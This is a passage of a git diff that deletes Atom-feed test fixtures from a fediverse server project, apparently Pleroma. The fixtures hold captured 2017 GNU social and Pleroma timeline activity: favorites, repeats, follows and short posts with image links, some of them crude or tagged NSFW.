href="https://gs.smuglo.li/file/2fdfabbc8ab0b8dc135903a8c48c29b440d1f97446b98ced4ad14a54d3b5d41f.png" title="https://gs.smuglo.li/file/2fdfabbc8ab0b8dc135903a8c48c29b440d1f97446b98ced4ad14a54d3b5d41f.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432296</a> <a href="https://gs.smuglo.li/file/af605d7c6fe3a8c26c6d334c2a8e0005f7e86a266f14a5b3755e7d3ac4e226de.png" title="https://gs.smuglo.li/file/af605d7c6fe3a8c26c6d334c2a8e0005f7e86a266f14a5b3755e7d3ac4e226de.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432297</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-27T17:17:46+00:00 - 2017-04-27T17:17:46+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gs.smuglo.li,2017-04-27:noticeId=2065465:objectType=note - New note by dolus - Looks like Merry is pussing out and caving to pressure. Sad. <a href="https://gs.smuglo.li/file/23e37de3c321248d3f322d8ec042372914568ab4c9431a94e568a61b8146587f.png" title="https://gs.smuglo.li/file/23e37de3c321248d3f322d8ec042372914568ab4c9431a94e568a61b8146587f.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432294</a> <a href="https://gs.smuglo.li/file/e5a9549a19986d59d51750090910f47c186787adf02b2b6ac58df37556887297.png" title="https://gs.smuglo.li/file/e5a9549a19986d59d51750090910f47c186787adf02b2b6ac58df37556887297.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432295</a> <a href="https://gs.smuglo.li/file/2fdfabbc8ab0b8dc135903a8c48c29b440d1f97446b98ced4ad14a54d3b5d41f.png" title="https://gs.smuglo.li/file/2fdfabbc8ab0b8dc135903a8c48c29b440d1f97446b98ced4ad14a54d3b5d41f.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432296</a> <a href="https://gs.smuglo.li/file/af605d7c6fe3a8c26c6d334c2a8e0005f7e86a266f14a5b3755e7d3ac4e226de.png" title="https://gs.smuglo.li/file/af605d7c6fe3a8c26c6d334c2a8e0005f7e86a266f14a5b3755e7d3ac4e226de.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432297</a> - - - - - - - https://gs.smuglo.li/conversation/927473 - - - - - - - tag:social.heldscal.la,2017-04-27:fave:29191:note:1932492:2017-04-27T17:13:55+00:00 - Favorite - shp favorited something by zemichi: <a href="https://gs.smuglo.li/file/1d45ea4ffc95f15037f361b56ad6b89f8451b70ad1ff7a03b7bb0345b8e2227c.jpg" title="https://gs.smuglo.li/file/1d45ea4ffc95f15037f361b56ad6b89f8451b70ad1ff7a03b7bb0345b8e2227c.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432344</a><br /> that's a lot of loli - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-27T17:13:55+00:00 - 2017-04-27T17:13:55+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gs.smuglo.li,2017-04-27:noticeId=2065713:objectType=note - New note by zemichi - <a href="https://gs.smuglo.li/file/1d45ea4ffc95f15037f361b56ad6b89f8451b70ad1ff7a03b7bb0345b8e2227c.jpg" title="https://gs.smuglo.li/file/1d45ea4ffc95f15037f361b56ad6b89f8451b70ad1ff7a03b7bb0345b8e2227c.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432344</a><br /> that's a lot of loli - - - - - - - https://gs.smuglo.li/conversation/927673 - - - - - - - tag:social.heldscal.la,2017-04-27:fave:29191:note:1932559:2017-04-27T17:12:46+00:00 - Favorite - shp favorited something by gsimg: <a href="https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg" title="https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg" rel="nofollow noreferrer" class="attachment">https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg</a> #<span class="tag"><a href="https://gs.kawa-kun.com/tag/nsfw" rel="tag">nsfw</a></span> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-27T17:12:46+00:00 - 2017-04-27T17:12:46+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gs.kawa-kun.com,2017-04-27:noticeId=1608309:objectType=note - New note by gsimg - <a href="https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg" title="https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg" rel="nofollow noreferrer" class="attachment">https://gs.kawa-kun.com/file/3435c5cafda46f31cad5abb5837b3521b7b458198507073a496f4d10bad3633b.jpg</a> #<span class="tag"><a href="https://gs.kawa-kun.com/tag/nsfw" rel="tag">nsfw</a></span> - - - - - - - https://gs.kawa-kun.com/conversation/690817 - - - - - - - tag:social.heldscal.la,2017-04-27:fave:29191:note:1932601:2017-04-27T17:12:28+00:00 - Favorite - shp favorited something by zemichi: <a href="https://gs.smuglo.li/file/5d9114fafea7b9866c9d852bcfeaf66aade65ae26149758346bc5ade7e3fa8f0.jpg" title="https://gs.smuglo.li/file/5d9114fafea7b9866c9d852bcfeaf66aade65ae26149758346bc5ade7e3fa8f0.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432372</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-27T17:12:28+00:00 - 2017-04-27T17:12:28+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:gs.smuglo.li,2017-04-27:noticeId=2065821:objectType=note - New note by zemichi - <a href="https://gs.smuglo.li/file/5d9114fafea7b9866c9d852bcfeaf66aade65ae26149758346bc5ade7e3fa8f0.jpg" title="https://gs.smuglo.li/file/5d9114fafea7b9866c9d852bcfeaf66aade65ae26149758346bc5ade7e3fa8f0.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432372</a> - - - - - - - https://gs.smuglo.li/conversation/927760 - - - - - - - tag:social.heldscal.la,2017-04-27:noticeId=1932867:objectType=note - shp repeated a notice by shpbot - RT @<a href="https://gs.archae.me/user/4687" class="h-card u-url p-nickname mention" title="shpbot">shpbot</a> <a href="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" title="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-237676">https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg</a> #<span class="tag"><a href="https://social.heldscal.la/tag/2hu" rel="tag">2hu</a></span> #<span class="tag"><a href="https://social.heldscal.la/tag/ordinarymagician" rel="tag">ordinarymagician</a></span> :thinking: <a href="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" title="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-312306">https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg</a> - - http://activitystrea.ms/schema/1.0/share - 2017-04-27T17:11:35+00:00 - 2017-04-27T17:11:35+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:gs.archae.me,2017-04-27:noticeId=760830:objectType=note - - <a href="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" title="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg</a> #<span class="tag"><a href="https://gs.archae.me/tag/2hu" rel="tag">2hu</a></span> #<span class="tag"><a href="https://gs.archae.me/tag/ordinarymagician" rel="tag">ordinarymagician</a></span> :thinking: <a href="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" title="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg</a> - - http://activitystrea.ms/schema/1.0/post - 2017-04-27T17:00:08+00:00 - 2017-04-27T17:00:08+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.archae.me/user/4687 - shpbot - - - - - - shpbot - shpbot - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.archae.me,2017-04-27:noticeId=760830:objectType=note - New note by shpbot - <a href="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" title="https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/cbf7fbbee1127a9870e871305ca7de70f1eb1bbb79ffe5b3b0f33e37514d14d8.jpg</a> #<span class="tag"><a href="https://gs.archae.me/tag/2hu" rel="tag">2hu</a></span> #<span class="tag"><a href="https://gs.archae.me/tag/ordinarymagician" rel="tag">ordinarymagician</a></span> :thinking: <a href="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" title="https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/abf3f82d9ce28d2293d858af26c75bb5d4fdd091c0d90ca7bc72ea7efba220e4.jpg</a> - - - - - https://gs.archae.me/conversation/318317 - - - - - https://gs.archae.me/api/statuses/user_timeline/4687.atom - shpbot - - - https://social.heldscal.la/avatar/31581-original-20170405170019.jpeg - 2017-05-05T11:45:08+00:00 - - - - https://gs.archae.me/conversation/318317 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-04-27:noticeId=1932815:objectType=note - New note by shp - federation issues with SPC atm it seems - - - http://activitystrea.ms/schema/1.0/post - 2017-04-27T17:08:55+00:00 - 2017-04-27T17:08:55+00:00 - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=645a13c841f51769 - - - - - - - tag:social.heldscal.la,2017-04-26:fave:29191:note:1907285:2017-04-26T06:59:07+00:00 - Favorite - shp favorited something by lambadalambda: Is this the most offensive video on the net? <a href="https://social.heldscal.la/file/4c34bfb81a8155c265031bc48f7e69c29eb0d2941c57daf63f80e17b0e2e5f47.webm" title="https://social.heldscal.la/file/4c34bfb81a8155c265031bc48f7e69c29eb0d2941c57daf63f80e17b0e2e5f47.webm" rel="nofollow noreferrer" class="attachment">https://social.heldscal.la/attachment/402251</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-26T06:59:07+00:00 - 2017-04-26T06:59:07+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-04-26:noticeId=1907285:objectType=note - New note by lambadalambda - Is this the most offensive video on the net? <a href="https://social.heldscal.la/file/4c34bfb81a8155c265031bc48f7e69c29eb0d2941c57daf63f80e17b0e2e5f47.webm" title="https://social.heldscal.la/file/4c34bfb81a8155c265031bc48f7e69c29eb0d2941c57daf63f80e17b0e2e5f47.webm" rel="nofollow external noreferrer" class="attachment" id="attachment-402251">https://social.heldscal.la/attachment/402251</a> - - - - - - - tag:social.heldscal.la,2017-04-26:objectType=thread:nonce=07b02e1328f456af - - - - - - - tag:social.heldscal.la,2017-04-26:noticeId=1907951:objectType=note - shp repeated a notice by shpbot - RT @<a href="https://gs.archae.me/user/4687" class="h-card u-url p-nickname mention" title="shpbot">shpbot</a> <a href="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" title="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-346198">https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg</a> - - http://activitystrea.ms/schema/1.0/share - 2017-04-26T06:58:19+00:00 - 2017-04-26T06:58:19+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:gs.archae.me,2017-04-26:noticeId=752596:objectType=note - - <a href="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" title="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg</a> - - http://activitystrea.ms/schema/1.0/post - 2017-04-26T06:15:07+00:00 - 2017-04-26T06:15:07+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.archae.me/user/4687 - shpbot - - - - - - shpbot - shpbot - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.archae.me,2017-04-26:noticeId=752596:objectType=note - New note by shpbot - <a href="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" title="https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg" rel="nofollow noreferrer" class="attachment">https://shitposter.club/file/718db06b564841331c72f9df767f8c9459e20c4dddbf0d4e61cd08ecbee7739d.jpg</a> - - - - - https://gs.archae.me/conversation/314010 - - - https://gs.archae.me/api/statuses/user_timeline/4687.atom - shpbot - - - https://social.heldscal.la/avatar/31581-original-20170405170019.jpeg - 2017-05-05T11:45:08+00:00 - - - - https://gs.archae.me/conversation/314010 - - - - - - - tag:social.heldscal.la,2017-04-26:fave:29191:note:1907341:2017-04-26T06:58:16+00:00 - Favorite - shp favorited something by moonman: <a href="https://shitposter.club/file/1377b0894e983599c11e739e406243cabed9f8af7961a2550ecaf97e32de8e60.jpg" title="https://shitposter.club/file/1377b0894e983599c11e739e406243cabed9f8af7961a2550ecaf97e32de8e60.jpg" class="attachment" rel="nofollow">https://shitposter.club/attachment/630989</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-26T06:58:16+00:00 - 2017-04-26T06:58:16+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-04-26:noticeId=2681941:objectType=note - New note by moonman - <a href="https://shitposter.club/file/1377b0894e983599c11e739e406243cabed9f8af7961a2550ecaf97e32de8e60.jpg" title="https://shitposter.club/file/1377b0894e983599c11e739e406243cabed9f8af7961a2550ecaf97e32de8e60.jpg" class="attachment" rel="nofollow">https://shitposter.club/attachment/630989</a> - - - - - - - https://shitposter.club/conversation/1300990 - - - - - - - tag:social.heldscal.la,2017-04-26:fave:29191:comment:1907412:2017-04-26T06:57:56+00:00 - Favorite - shp favorited something by lambadalambda: @<a href="https://gs.smuglo.li/user/2" class="h-card u-url p-nickname mention" title="nepfag">nepfag</a> <a href="https://cherubini.casa/why-i-shut-down-wizards-town-and-left-mastodon-6d4e631346b3?source=linkShare-89c2f851e979-1493184822&amp;gi=a6a47c5466a0" title="https://cherubini.casa/why-i-shut-down-wizards-town-and-left-mastodon-6d4e631346b3?source=linkShare-89c2f851e979-1493184822&amp;gi=a6a47c5466a0" rel="nofollow noreferrer" class="attachment">https://social.heldscal.la/url/402273</a> - - http://activitystrea.ms/schema/1.0/favorite - 2017-04-26T06:57:56+00:00 - 2017-04-26T06:57:56+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-04-26:noticeId=1907412:objectType=comment - New comment by lambadalambda - @<a href="https://gs.smuglo.li/user/2" class="h-card u-url p-nickname mention" title="nepfag">nepfag</a> <a href="https://cherubini.casa/why-i-shut-down-wizards-town-and-left-mastodon-6d4e631346b3?source=linkShare-89c2f851e979-1493184822&amp;gi=a6a47c5466a0" title="https://cherubini.casa/why-i-shut-down-wizards-town-and-left-mastodon-6d4e631346b3?source=linkShare-89c2f851e979-1493184822&amp;gi=a6a47c5466a0" rel="nofollow external noreferrer" class="attachment" id="attachment-402273">https://social.heldscal.la/url/402273</a> - - - - - - - tag:social.heldscal.la,2017-04-26:objectType=thread:nonce=85c21eda7aaa7259 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-04-26:noticeId=1907942:objectType=note - New note by shp - #<span class="tag"><a href="https://social.heldscal.la/tag/cofe" rel="tag">cofe</a></span> time my friends <a href="https://social.heldscal.la/file/ec254b45b3a86ff74bc08bc7e065cb681d77cf7d4cedc9cdcf59e16adf311da3.png" title="https://social.heldscal.la/file/ec254b45b3a86ff74bc08bc7e065cb681d77cf7d4cedc9cdcf59e16adf311da3.png" rel="nofollow external noreferrer" class="attachment" id="attachment-402381">https://social.heldscal.la/attachment/402381</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-04-26T06:57:18+00:00 - 2017-04-26T06:57:18+00:00 - - tag:social.heldscal.la,2017-04-26:objectType=thread:nonce=9c9d9373bccfaf70 - - - - - - - - diff --git a/test/fixtures/tesla_mock/sakamoto.atom b/test/fixtures/tesla_mock/sakamoto.atom deleted file mode 100644 index 648946795..000000000 --- a/test/fixtures/tesla_mock/sakamoto.atom +++ /dev/null @@ -1 +0,0 @@ -http://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/0ccc1a2c-66b0-4305-b23a-7f7f2b040056New note by eal<a href='https://shitposter.club/user/5381'>@shpuld</a> <a href='https://pleroma.hjkos.com/users/hj'>@hj</a> IM NOT GAY DAD2017-08-04T12:51:26.130592Z2017-08-04T12:51:26.130592Zhttps://pleroma.hjkos.com/contexts/53093c74-2100-4bf4-aac6-66d1973d03efhttps://social.sakamoto.gq/users/ealhttp://activitystrea.ms/schema/1.0/personhttps://social.sakamoto.gq/users/ealeal坂本(・ヮ・)eal \ No newline at end of file diff --git a/test/fixtures/tesla_mock/sakamoto_eal_feed.atom b/test/fixtures/tesla_mock/sakamoto_eal_feed.atom deleted file mode 100644 index 9340d9038..000000000 --- a/test/fixtures/tesla_mock/sakamoto_eal_feed.atom +++ /dev/null @@ -1 +0,0 @@ -https://social.sakamoto.gq/users/eal/feed.atomeal's timeline2017-08-04T14:19:12.683854https://social.sakamoto.gq/users/ealhttp://activitystrea.ms/schema/1.0/personhttps://social.sakamoto.gq/users/ealeal坂本(・ヮ・)ealhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/b79a1721-23f3-45a5-9610-adb08c2afae5New note by ealHonestly, I like all smileys that are not emoji.2017-08-04T14:19:12.675999Z2017-08-04T14:19:12.675999Zhttps://social.sakamoto.gq/contexts/e05ede92-8db9-4963-8b8e-e71a5797d68fhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/45475bf3-2dfc-4d9e-8eae-1f4f86f48982New note by ealThen again, I like all smileys/emoticons that are not emoji.<br>2017-08-04T14:19:10.113373Z2017-08-04T14:19:10.113373Zhttps://social.sakamoto.gq/contexts/852d1605-4dcb-4ba7-9ba4-dfc37ed62fbchttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/8f8fd6d6-cc63-40c6-a5d0-1c0e4f919368New note by ealI love the russian-style smiley.2017-08-04T14:18:30.478552Z2017-08-04T14:18:30.478552Zhttps://social.sakamoto.gq/contexts/852d1605-4dcb-4ba7-9ba4-dfc37ed62fbchttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/6e69df95-f2ad-4b8e-af4a-e93ff93d64e1eal started following https://cybre.space/users/0x3Feal started following https://cybre.space/users/0x3F2017-08-04T14:17:24.942193Z2017-08-04T14:17:24.942193Zhttp://activitystrea.ms/schema/1.0/personhttps://cybre.space/users/0x3Fhttps://cybre.space/users/0x3Fhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/54c5e260-0185-4267-a2a6-f5dd9c76c2c9eal started following https://niu.moe/users/ryeeal started following https://niu.moe/users/rye2017-08-04T14:16:35.604739Z2017-08-04T14:16:35.604739Zhttp://activitystrea.ms/schema/1.0/personhttps://niu.moe/users/ryehttps://niu.moe/users/ryehttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/092ca863-19a8-416c-85d7-d3f23b3c0203eal started following https://mastodon.xyz/users/rafudesueal started following https://mastodon.xyz/users/rafudesu2017-08-04T14:16:10.993429Z2017-08-04T14:16:10.993429Zhttp://activitystrea.ms/schema/1.0/personhttps://mastodon.xyz/users/rafudesuhttps://mastodon.xyz/users/rafudesuhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/be5cf702-b127-423b-a6be-5f78f01a4289eal started following https://gs.kawa-kun.com/user/2eal started following https://gs.kawa-kun.com/user/22017-08-04T14:15:41.804611Z2017-08-04T14:15:41.804611Zhttp://activitystrea.ms/schema/1.0/personhttps://gs.kawa-kun.com/user/2https://gs.kawa-kun.com/user/2http://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/4951e2a1-9bae-4e87-8e98-e6d2f8a52338eal started following https://gs.kawa-kun.com/user/4885eal started following https://gs.kawa-kun.com/user/48852017-08-04T14:15:00.135352Z2017-08-04T14:15:00.135352Zhttp://activitystrea.ms/schema/1.0/personhttps://gs.kawa-kun.com/user/4885https://gs.kawa-kun.com/user/4885http://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/cadf8745-b9ee-4f6c-af32-bfddb70e4607eal started following https://mastodon.social/users/Murassaeal started following https://mastodon.social/users/Murassa2017-08-04T14:14:36.339560Z2017-08-04T14:14:36.339560Zhttp://activitystrea.ms/schema/1.0/personhttps://mastodon.social/users/Murassahttps://mastodon.social/users/Murassahttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/a52c9aab-f0e6-4ccb-8dd3-9f417e72a41ceal started following https://mastodon.social/users/rysiekeal started following https://mastodon.social/users/rysiek2017-08-04T14:13:04.061572Z2017-08-04T14:13:04.061572Zhttp://activitystrea.ms/schema/1.0/personhttps://mastodon.social/users/rysiekhttps://mastodon.social/users/rysiekhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/738bc887-4cca-4b36-8c86-2b54d4c54732eal started following https://mastodon.hasameli.com/users/munineal started following https://mastodon.hasameli.com/users/munin2017-08-04T14:12:10.514155Z2017-08-04T14:12:10.514155Zhttp://activitystrea.ms/schema/1.0/personhttps://mastodon.hasameli.com/users/muninhttps://mastodon.hasameli.com/users/muninhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/dc66ad5a-b776-4180-a8aa-e4c1bf7cb703eal started following https://cybre.space/users/nightpooleal started following https://cybre.space/users/nightpool2017-08-04T14:11:16.046148Z2017-08-04T14:11:16.046148Zhttp://activitystrea.ms/schema/1.0/personhttps://cybre.space/users/nightpoolhttps://cybre.space/users/nightpoolhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/9c5c00d7-3ce4-4c11-b965-dc5c2bda86c5New note by eal<a href='https://mastodon.zombocloud.com/users/staticsafe'>@staticsafe</a> privet )))2017-08-04T14:10:08.812247Z2017-08-04T14:10:08.812247Zhttps://social.sakamoto.gq/contexts/12a33823-0327-4c1c-a591-850ea79331b5http://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/49798053-1f40-4a71-ad33-106e90630863eal started following https://social.homunyan.com/users/animeirleal started following https://social.homunyan.com/users/animeirl2017-08-04T14:09:44.904792Z2017-08-04T14:09:44.904792Zhttp://activitystrea.ms/schema/1.0/personhttps://social.homunyan.com/users/animeirlhttps://social.homunyan.com/users/animeirlhttp://activitystrea.ms/schema/1.0/favoritehttps://social.sakamoto.gq/activities/2d83a1c5-70a6-45d3-9b84-59d6a70fbb17New favorite by ealeal favorited something2017-08-04T14:07:27.210044Z2017-08-04T14:07:27.210044Zhttp://activitystrea.ms/schema/1.0/notehttps://pleroma.soykaf.com/objects/b831e52f-4ed4-438e-95b4-888897f64f09https://pleroma.hjkos.com/contexts/3ed48205-1e72-4e19-a618-89a0d2ca811ehttp://activitystrea.ms/schema/1.0/favoritehttps://social.sakamoto.gq/activities/06d28bed-544a-496b-8414-1c6d439273b5New favorite by ealeal favorited something2017-08-04T14:05:37.280200Z2017-08-04T14:05:37.280200Zhttp://activitystrea.ms/schema/1.0/notetag:toot-lab.reclaim.technology,2017-08-04:objectId=1166030:objectType=Statustag:p2px.me,2017-08-04:objectType=thread:nonce=f8bfc4d13db6ce91http://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/72bf19d4-9ad4-4b2f-9cd0-f0d70f4e931beal started following https://mstdn.jp/users/nullkaleal started following https://mstdn.jp/users/nullkal2017-08-04T14:05:04.148904Z2017-08-04T14:05:04.148904Zhttp://activitystrea.ms/schema/1.0/personhttps://mstdn.jp/users/nullkalhttps://mstdn.jp/users/nullkalhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://social.sakamoto.gq/objects/b0e89515-7621-4e09-b23d-83e192324107New note by eal<a href='https://p2px.me/user/1'>@stitchxd</a> test also2017-08-04T14:04:38.699051Z2017-08-04T14:04:38.699051Ztag:p2px.me,2017-08-04:objectType=thread:nonce=f8bfc4d13db6ce91http://activitystrea.ms/schema/1.0/favoritehttps://social.sakamoto.gq/activities/d8d2006b-6b23-45d6-ba27-39d27587777dNew favorite by ealeal favorited something2017-08-04T14:04:32.106626Z2017-08-04T14:04:32.106626Zhttp://activitystrea.ms/schema/1.0/notetag:p2px.me,2017-08-04:noticeId=222109:objectType=notetag:p2px.me,2017-08-04:objectType=thread:nonce=f8bfc4d13db6ce91http://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://social.sakamoto.gq/activities/cb9db95d-ec27-41fa-bebd-5375fc13acb9eal started following https://mastodon.social/users/Gargroneal started following https://mastodon.social/users/Gargron2017-08-04T14:04:04.325531Z2017-08-04T14:04:04.325531Zhttp://activitystrea.ms/schema/1.0/personhttps://mastodon.social/users/Gargronhttps://mastodon.social/users/Gargron \ No newline at end of file diff --git a/test/fixtures/tesla_mock/shp@pleroma.soykaf.com.feed b/test/fixtures/tesla_mock/shp@pleroma.soykaf.com.feed deleted file mode 100644 index b24ef7ab6..000000000 --- a/test/fixtures/tesla_mock/shp@pleroma.soykaf.com.feed +++ /dev/null @@ -1 +0,0 @@ -https://pleroma.soykaf.com/users/shp/feed.atomshp's timeline2017-09-14T08:31:48.911686https://pleroma.soykaf.com/users/shphttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/shpshpshpcofeshphttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://pleroma.soykaf.com/activities/0b5f5ef2-020a-4f9e-a92b-a2bf21224644shp started following https://pleroma.soykaf.com/users/goozshp started following https://pleroma.soykaf.com/users/gooz2017-09-14T08:31:48.911226Z2017-09-14T08:31:48.911226Zhttp://activitystrea.ms/schema/1.0/personhttps://pleroma.soykaf.com/users/goozhttps://pleroma.soykaf.com/users/goozhttp://activitystrea.ms/schema/1.0/activityhttp://activitystrea.ms/schema/1.0/followhttps://pleroma.soykaf.com/activities/d928b7f7-dc10-478c-859b-cd604770da60shp started following https://niu.moe/users/xiaoyongmaoshp started following https://niu.moe/users/xiaoyongmao2017-09-14T08:16:52.674253Z2017-09-14T08:16:52.674253Zhttp://activitystrea.ms/schema/1.0/personhttps://niu.moe/users/xiaoyongmaohttps://niu.moe/users/xiaoyongmaohttp://activitystrea.ms/schema/1.0/favoritehttps://pleroma.soykaf.com/activities/3f5089b3-f1e5-47b6-8bfe-a9c4a860e724New favorite by shpshp favorited something2017-09-14T08:12:18.213055Z2017-09-14T08:12:18.213055Zhttp://activitystrea.ms/schema/1.0/notehttps://mastodon.xyz/users/Azurolu/statuses/8346804tag:mastodon.xyz,2017-09-14:objectId=3669709:objectType=Conversationhttp://activitystrea.ms/schema/1.0/notehttp://activitystrea.ms/schema/1.0/posthttps://pleroma.soykaf.com/objects/0def9b19-6b0f-44e0-96b3-543fa06a4010New note by shp<a href='https://niu.moe/users/Pasty'>@Pasty</a> I love the peach<br><a href="https://pleroma.soykaf.com/media/7e8bd209-dbd4-481a-a62c-d302d68df16d/__hinanawi_tenshi_touhou_drawn_by_e_o__8c6824f52dd494f6026607570179265f.jpg" 